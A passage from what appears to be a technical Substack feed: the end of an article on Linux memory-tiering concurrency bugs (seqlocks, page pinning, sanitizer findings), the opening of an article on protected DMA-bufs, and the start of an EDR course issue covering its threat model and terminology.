defined behavior. This is a distinction the C11 memory model is precise about and that our first fix attempt got wrong (see Section 11). Second, the seqlock read pattern (<code>load seq &#8594; load fields &#8594; fence &#8594; reload seq &#8594; compare</code>) exists specifically to avoid a full memory barrier or lock acquisition on every read, at the cost of an occasional retry &#8212; the same tradeoff <code>seqcount_t</code> makes for <code>jiffies</code> and the VDSO&#8217;s <code>getnstimeofday</code> path, both of which are read far more often than written.</p><p>On real hardware, the migration path also has to reckon with TLB shootdown cost: retargeting every CPU&#8217;s page table entry for a migrated page requires an IPI to every core that might have cached the old translation, which is why migration is batched and why the kernel is conservative about promoting pages that will just get demoted again next scan.</p><h2>9. Performance Analysis</h2><p>The controller&#8217;s cost model has three terms: the tracking overhead (cheap, amortized), the migration copy (a <code>memcpy</code> at BLOCK_SIZE granularity &#8212; in the kernel, 4 KiB or 2 MiB for THP), and the retry cost imposed on readers racing a migration in flight. Under our full workload (8 workers, 50,000 ops each, promotion interval of 20 ops &#8212; deliberately aggressive to expose races), the fixed build produces:</p><pre><code><code>Total recorded accesses: 400000 (expected 400000)
Corruption events detected by readers: 0
Seqlock read retries: 162716
</code></code></pre><p>Retries are not free, but they are cheap relative to what they replace: a full mutex acquisition on every single memory touch. 162,716 retries against 400,000 reads (roughly 40%) sounds high, but each retry costs a few atomic loads and a fence, not a syscall or a blocking wait &#8212; this is the same bet <code>seqcount_t</code> makes throughout the kernel, and it holds because writers (migrations) are relatively rare compared to reads.</p><p>It&#8217;s worth comparing this against the naive alternative most engineers reach for first: taking <code>g_migration_lock</code> on every read, not just every migration. Measuring both variants directly (same machine, same workload):</p><p>Variant 8 workers, 400K ops 32 workers, 1.6M ops Seqlock + pin (this design) 0.048s avg 0.186s avg Full mutex on every read 0.050s avg 0.201s avg</p><p>At 8 workers the gap is within noise &#8212; worth stating plainly rather than dressing it up, since this workload&#8217;s critical section (a 256-byte compare) is small enough that mutex overhead doesn&#8217;t dominate at low contention. At 32 workers the lock-based variant is consistently ~7-8% slower, and the gap should widen further with larger block sizes or higher core counts, since the mutex fully serializes <em>all</em> reads across <em>all</em> blocks &#8212; including reads to blocks nowhere near an active migration &#8212; while the seqlock only imposes a cost on the specific block being migrated, and only for the duration of that migration. The honest takeaway: at this demo&#8217;s scale the lock-free design&#8217;s benefit is real but modest, not dramatic; its value compounds with core count and contention, which is exactly the regime real memory-tiering hardware operates in.</p><p>The other number worth watching under a real workload is the eviction spin in <code>promote_block</code>&#8216;s pin-drain loop (<code>sched_yield()</code> until a pin count reaches zero). In this demo it resolves in microseconds because the &#8220;read&#8221; being waited on is a 256-byte comparison loop. In the kernel&#8217;s actual migration path, the equivalent wait is bounded by <code>migrate_pages()</code>&#8216;s retry-with-backoff logic around <code>page_count()</code>, and a page pinned for an extended I/O operation can genuinely stall a migration attempt &#8212; which is one reason the kernel biases toward <em>not</em> migrating pages that are under active DMA or pinned for <code>get_user_pages()</code>, rather than waiting indefinitely.</p><h2>10. Debugging Techniques</h2><p>The gauntlet, run in order:</p><pre><code><code>gcc -Wall -Wextra -Werror -O2 -pthread -o tiering_fixed_gcc tiering_fixed.c
clang-18 -Wall -Wextra -Werror -O2 -pthread -o tiering_fixed_clang tiering_fixed.c
clang-18 -fsanitize=thread -O1 -g -pthread -o tf_tsan tiering_fixed.c &amp;&amp; ./tf_tsan
clang-18 -fsanitize=address,undefined -O1 -g -pthread -o tf_asan tiering_fixed.c &amp;&amp; ./tf_asan
valgrind --leak-check=full ./tf_vg
</code></code></pre><p>Beyond the sanitizer gauntlet, the demo carries its own <strong>correctness oracle</strong>: every block&#8217;s canonical content is a fixed byte pattern (<code>(uint8_t)block_id</code> repeated), so any reader can independently verify it got a coherent view without needing a race detector to be watching at that exact moment. This matters because &#8212; as Section 11 shows in detail &#8212; some of these bugs did not reproduce under TSan&#8217;s own instrumentation until contention was cranked up, and one class of bug (stale-buffer reuse) is invisible to TSan and ASan entirely under certain interleavings; the oracle caught it when the sanitizers, that run, did not.</p><h2>11. Production Failure Scenarios</h2><p>This is the honest record of what actually broke, in the order it broke, while building this demo. Nothing here is retrofitted or smoothed over.</p><p><strong>Failure 1 &#8212; lost updates on the access counter.</strong> The first version used a plain <code>long access_count</code> incremented with <code>count++</code> from multiple worker threads. ThreadSanitizer flagged it immediately:</p><pre><code><code>WARNING: ThreadSanitizer: data race (pid=1276)
  Read of size 8 ... by thread T1: #0 promoter_fn tiering_buggy.c:157
  Previous write of size 8 ... by thread T2: #0 touch_block tiering_buggy.c:71
SUMMARY: ThreadSanitizer: data race tiering_buggy.c:71:20 in touch_block
</code></code></pre><p>At <code>-O0</code> with contention deliberately increased (8 workers, promotion every 20 ops), the plain build also produced observably wrong totals: <code>Total recorded accesses: 399483 (expected 400000)</code> &#8212; a real lost-update, not a hypothetical one. Fix: <code>_Atomic long</code> with <code>atomic_fetch_add_explicit</code>.</p><p><strong>Failure 2 &#8212; torn reads on the tier/pointer pair.</strong> Even after fixing the counter, the correctness oracle kept firing: <code>Corruption events detected by readers: 5</code> on a run with a perfectly correct access total. The bug was structural, not a simple race TSan would flag on every run: <code>tier</code> was flipped to its new value one line before <code>data</code> was repointed, so a reader landing between those two writes would see a tier that didn&#8217;t match the buffer it was about to read. The fix was a seqlock-style publish: bump a sequence counter to odd, perform both writes, bump it back to even; readers snapshot the sequence before and after their read of the pair and retry if it moved or was caught mid-flight (odd).</p><p><strong>Failure 3 &#8212; the seqlock alone wasn&#8217;t enough.</strong> After adding the seqlock, corruption persisted at a low but nonzero rate, with zero retries recorded &#8212; meaning the seqlock itself was never catching a torn <em>metadata</em> read, so the bug had to be somewhere else. The actual cause: even a reader who validates a perfectly consistent <code>{tier, data}</code> snapshot can still be handed a <em>pointer into a buffer that gets reused for a different logical block</em> while the reader is mid-comparison, because nothing tracks how long that pointer stays &#8220;in use&#8221; once the metadata check passes. This is the same reason kernel page migration takes an extra <code>get_page()</code> reference and checks <code>page_count()</code> before repurposing physical memory &#8212; a seqcount protects metadata consistency, not buffer lifetime. Fix: a per-slot pin count, incremented after seqlock validation (with a re-check to catch the pin racing the migration itself), and eviction now spins on <code>sched_yield()</code> until the pin count it&#8217;s about to invalidate reaches zero.</p><p><strong>Failure 4 &#8212; the same hazard existed on the slow-tier side too.</strong> After fixing the fast-tier pin, TSan still found a live race:</p><pre><code><code>WARNING: ThreadSanitizer: data race (pid=1724)
  Read of size 1 ... touch_block tiering_fixed.c:122
  Previous write of size 8 ... promote_block tiering_fixed.c:161 (memcpy)
  Location is global 'g_slow_pool'
</code></code></pre><p>I had only pinned the fast pool, on the assumption that each block&#8217;s slow-tier slot was exclusively its own and therefore stable. It&#8217;s not: every demotion overwrites that same slow slot with new content, so a slow-tier reader from a previous promote/demote cycle can still be mid-read when a later demotion lands. The fix is structurally identical to Failure 3 &#8212; a <code>g_slow_pin[]</code> array, indexed by block id, drained before any demotion memcpy.</p><p><strong>Failure 5 &#8212; </strong><code>volatile</code><strong> is not synchronization.</strong> TSan&#8217;s last complaint was on the shutdown flag: <code>g_stop</code> was <code>volatile int</code>, toggled by the main thread and polled by the promoter. <code>volatile</code> only prevents the compiler from caching the value in a register across loop iterations; it makes no atomicity or ordering guarantee under the C11 memory model, and TSan correctly flagged the plain read/write as a race. Fixed by making it <code>_Atomic int</code>.</p><p>Five real, sequential fixes &#8212; not one. That progression is the actual lesson: seqlocks solve metadata consistency, refcounting/pinning solves buffer lifetime, and they are not substitutes for each other.</p><h2>Working Demo Link:</h2><div id="youtube2-gsHNu7hWXDY" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;gsHNu7hWXDY&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/gsHNu7hWXDY?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h2>12. Real-World Production Use Cases</h2><ul><li><p><strong>CXL memory-expander tiering</strong> in modern data-center fleets, where a fraction of a node&#8217;s memory footprint sits behind a CXL switch at ~2-3x local-DRAM latency, and <code>node_demotion[]</code> ranks it below local DRAM but above swap. Operators typically size this tier for capacity headroom (letting a host run workloads whose working set exceeds locally-installed DRAM) rather than as a performance win in itself &#8212; the win is avoiding swap-to-disk latency for the coldest fraction of a large working set, not making the hot path faster.</p></li><li><p><strong>HBM-as-last-level-cache</strong> on accelerator-attached CPUs, where HBM is exposed as a fast NUMA node rather than transparent hardware cache, pushing the promotion/demotion decision into software exactly like this demo. This trades hardware cache-controller simplicity for software visibility: an administrator or a workload-aware daemon can pin known-hot structures directly rather than relying on an opaque hardware LRU, at the cost of needing exactly the migration-correctness discipline this article works through.</p></li><li><p><strong>DAMON-driven proactive reclaim</strong> (<code>DAMON_RECLAIM</code>), which uses the same access-classification signal described in Section 4 to demote cold anonymous pages before memory pressure forces a more expensive synchronous reclaim. This is the &#8220;classification&#8221; half of Section 3&#8217;s problem statement running in production today, independent of whether a slower memory tier or swap is the eventual destination.</p></li><li><p><strong>Database buffer-pool tiering</strong> at the application layer &#8212; PostgreSQL&#8217;s <code>shared_buffers</code> and various embedded-KV engines increasingly implement their own hot/cold classification over a two-tier storage model (DRAM plus NVMe or DRAM plus CXL), because they can exploit domain knowledge (query patterns, index structure) that a general-purpose kernel mechanism can&#8217;t assume. These application-level tiering layers hit the identical migration-consistency hazard from Section 11 whenever a background compaction or eviction thread races a foreground query thread against the same buffer.</p></li><li><p>Cross-referencing this series&#8217; disaggregated-memory article: the batching DMA-descriptor model there and the migration copy here are the same operation &#8212; move bytes between tiers &#8212; viewed from the data-movement side versus the placement-policy side. The HMM/GPU page-migration article&#8217;s TOCTOU fix (sequence-counter retry plus page pinning) is, in retrospect, the exact same two-part pattern this article&#8217;s Failures 3 and 4 rediscover independently: a sequence counter alone validates metadata, and pinning is the separate mechanism required to protect the underlying buffer&#8217;s lifetime.</p></li></ul><h2>13. Hands-on Lab</h2><p><code>startup.sh</code> &#8212;docker builds both the intentionally buggy version and the fully fixed version, runs the entire validation gauntlet, and prints the actual sanitizer/oracle output for comparison. To reproduce:</p><pre><code><code>chmod +x startup.sh --docker
./startup.sh --docker
</code></code></pre><p>Expect to see the buggy build&#8217;s TSan race reports and nonzero corruption counts, immediately followed by the fixed build passing all four gauntlet stages with a zero-corruption oracle result across multiple repeated runs &#8212; the actual before/after evidence from Section 11, regenerated live rather than pasted from a prior run.</p><h2>14. Best Practices</h2><ul><li><p>Never publish more than one logically-related field as a bare sequence of independent writes if any reader can observe them mid-sequence; use a seqlock, a single atomic tagged pointer, or RCU.</p></li><li><p>A seqlock protects metadata consistency, full stop. If the metadata points at a buffer whose lifetime isn&#8217;t otherwise pinned, you have a second, independent bug class to solve &#8212; Failures 3 and 4 are the same bug in two different pools because I initially reasoned about &#8220;the fast pool&#8221; as the special case rather than recognizing the general pattern.</p></li><li><p><code>volatile</code> is for hardware MMIO and signal handlers, not for cross-thread synchronization; reach for <code>_Atomic</code> or explicit fences instead, and let a race detector confirm rather than assume.</p></li><li><p>Run correctness oracles alongside sanitizers rather than instead of them. TSan caught four of these five bugs on the runs shown, but the run that mattered for Failure 3 showed zero TSan warnings <em>and</em> nonzero corruption &#8212; sanitizers report what they observe in that execution, not what&#8217;s structurally possible.</p></li><li><p>Treat eviction as &#8220;reserve, drain, then reuse,&#8221; never &#8220;reuse, then hope nobody&#8217;s still reading it.&#8221;</p></li></ul><h2>15. Summary</h2><p>Heterogeneous memory tiering is a caching problem wearing kernel clothing: classify hotness cheaply, promote and evict under real capacity pressure, and &#8212; the part that actually breaks in production &#8212; keep migration invisible to every reader that might be mid-access when a page moves. The five real bugs in this article&#8217;s build history trace the exact fault line: an unsynchronized counter, a torn compound-state publish, and &#8212; the deeper lesson &#8212; a buffer-lifetime hazard that survives even a correctly-implemented seqlock, because consistency of <em>what you&#8217;re pointed at</em> and safety of <em>how long that pointer stays valid</em> are two different guarantees that must both be engineered, not one.</p>]]></content:encoded></item><item><title><![CDATA[Protected DMA-bufs: Managing Hardware-Enforced Firewall Memory]]></title><description><![CDATA[1.]]></description><link>https://howtech.substack.com/p/protected-dma-bufs-managing-hardware</link><guid isPermaLink="false">https://howtech.substack.com/p/protected-dma-bufs-managing-hardware</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Tue, 18 Aug 2026 08:00:14 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!1J4r!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca3bb8e-82f8-443c-b5ef-acfd27cbece6_3600x2560.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Introduction</h2><p>Every modern SoC that plays DRM-protected video has to solve a problem that has nothing to do with video codecs: how do you let a hardware decoder write a decrypted 1080p frame into DRAM, hand that frame to a display controller, and guarantee that at no point does the CPU &#8212; or a compromised kernel, or a debugger, or a rogue driver &#8212; get to read the plaintext pixels?</p><p>The answer, on essentially every ARM-based SoC shipping today, is a <strong>hardware memory-protection firewall</strong>: a piece of silicon sitting between the SoC&#8217;s bus fabric and DRAM that enforces access-control rules per physical address range, independent of and prior to anything the CPU&#8217;s MMU does. Linux&#8217;s job is to orchestrate that firewall correctly from a kernel that is, by design, not trusted with the secrets the firewall is protecting.</p><p>This article is about the kernel-side plumbing that makes that possible: <strong>protected DMA-bufs</strong> &#8212; <code>dma-buf</code> objects whose backing memory is gated by a hardware firewall rather than ordinary page-table permissions &#8212; and the concurrency and correctness hazards that show up when you try to manage that firewall&#8217;s state from a multi-threaded, multi-device kernel subsystem.</p><p>We&#8217;re going to build a working (and then broken, and then fixed) simulation of the attach/detach/firewall-lock state machine that sits underneath this subsystem, run it through ThreadSanitizer, AddressSanitizer, and Valgrind, and look at two real, reproduced bugs: a heap-use-after-free born from a TOCTOU race on the firewall&#8217;s unlock path, and a security-relevant alignment bug that no sanitizer can see because it isn&#8217;t a memory-safety bug at all &#8212; it&#8217;s a policy bug that leaves real bytes unprotected.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!1J4r!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca3bb8e-82f8-443c-b5ef-acfd27cbece6_3600x2560.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!1J4r!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca3bb8e-82f8-443c-b5ef-acfd27cbece6_3600x2560.png 424w, /__u/substackcdn.com/image/fetch/$s_!1J4r!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca3bb8e-82f8-443c-b5ef-acfd27cbece6_3600x2560.png 848w, /__u/substackcdn.com/image/fetch/$s_!1J4r!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca3bb8e-82f8-443c-b5ef-acfd27cbece6_3600x2560.png 1272w, /__u/substackcdn.com/image/fetch/$s_!1J4r!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca3bb8e-82f8-443c-b5ef-acfd27cbece6_3600x2560.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!1J4r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca3bb8e-82f8-443c-b5ef-acfd27cbece6_3600x2560.png" width="1456" height="1035" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0ca3bb8e-82f8-443c-b5ef-acfd27cbece6_3600x2560.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1035,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:603825,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209740044?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca3bb8e-82f8-443c-b5ef-acfd27cbece6_3600x2560.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!1J4r!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca3bb8e-82f8-443c-b5ef-acfd27cbece6_3600x2560.png 424w, /__u/substackcdn.com/image/fetch/$s_!1J4r!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca3bb8e-82f8-443c-b5ef-acfd27cbece6_3600x2560.png 848w, /__u/substackcdn.com/image/fetch/$s_!1J4r!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca3bb8e-82f8-443c-b5ef-acfd27cbece6_3600x2560.png 1272w, /__u/substackcdn.com/image/fetch/$s_!1J4r!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0ca3bb8e-82f8-443c-b5ef-acfd27cbece6_3600x2560.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div>
      <p>
          <a href="/__u/howtech.substack.com/p/protected-dma-bufs-managing-hardware">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Issue 01 — Foundations, Threat Model & OCSF ]]></title><description><![CDATA[This issue sets the threat model, five-layer architecture, and OCSF-mapped TelemetryEvent wire contract used for every later module.]]></description><link>https://howtech.substack.com/p/issue-01-foundations-threat-model</link><guid isPermaLink="false">https://howtech.substack.com/p/issue-01-foundations-threat-model</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Mon, 17 Aug 2026 11:45:35 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!MM7x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote><p>This issue sets the threat model, five-layer architecture, and OCSF-mapped <code>TelemetryEvent</code> wire contract used for every later module. No host agent runs here. Issue 02 introduces the first executable binary.</p></blockquote><h2><strong>Scope and terms</strong></h2><blockquote><p><strong>Antivirus</strong> evaluates files against signatures and heuristics at write or execution time.</p><p><strong>EDR (Endpoint Detection and Response)</strong> evaluates sequences of behavior: process trees, command lines, file and network activity, plus response actions such as process kill, host isolation, and file quarantine. Living-off-the-land activity (<code>certutil</code>, PowerShell, <code>rundll32</code>) often never drops a distinct malware file, so file-only detection is incomplete. Phases A and B of this course build the OS telemetry EDR requires.</p><p><strong>SIEM</strong> aggregates logs from multiple point products (firewalls, EDR, identity providers) into a shared query surface.</p><p><strong>XDR</strong> extends detection and correlation beyond endpoints to network, identity, and container sources so related alerts form one incident. Module 9 implements that layer. Earlier modules produce the telemetry it joins.</p><p><strong>MITRE ATT&amp;CK</strong> is a public catalog of adversary techniques (for example <code>T1105</code>, Ingress Tool Transfer). From Module 7 onward, detection rules are tagged with the technique they target so Module 14 can report coverage against exercised techniques rather than untested rule tags alone.</p><p>The EDR agent itself is part of the threat model. It typically runs with elevated privileges and is a high-value target for disablement or tampering. Tamper resistance is deferred to Module 13; the design implication starts now: assume an attacker who knows the agent is present.</p></blockquote><h2><strong>Telemetry, detection, and response</strong></h2><blockquote><p>Keep these layers separate while building:</p></blockquote><p><strong>LayerResponsibilityPrimary failure mode</strong>TelemetryCollect host and cloud eventsSilence: missing fields make activity invisible downstreamDetectionScore telemetry and raise alertsNoise or blindness: excessive false positives, or missed true positivesResponseChange host state (kill, isolate, quarantine)Unsafe control: a remote action path without sufficient authorization and audit</p><blockquote><p>A missing telemetry field often looks like a detection bug. Confirm collection before tuning rules.</p></blockquote><h2><strong>System architecture</strong></h2><blockquote><p>The platform data plane has five layers: agents, ingestion, storage, detection and correlation, and dashboard / copilot. Response commands return to agents on a separate control-plane path. Do not model response as only a dashboard button.</p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!MM7x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!MM7x!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 424w, /__u/substackcdn.com/image/fetch/$s_!MM7x!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 848w, /__u/substackcdn.com/image/fetch/$s_!MM7x!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 1272w, /__u/substackcdn.com/image/fetch/$s_!MM7x!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!MM7x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png" width="584" height="438" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:900,&quot;width&quot;:1200,&quot;resizeWidth&quot;:584,&quot;bytes&quot;:168901,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209910259?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!MM7x!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 424w, /__u/substackcdn.com/image/fetch/$s_!MM7x!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 848w, /__u/substackcdn.com/image/fetch/$s_!MM7x!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 1272w, /__u/substackcdn.com/image/fetch/$s_!MM7x!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe67ddf77-eec7-4f77-8d29-e35763caecf4_1200x900.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline 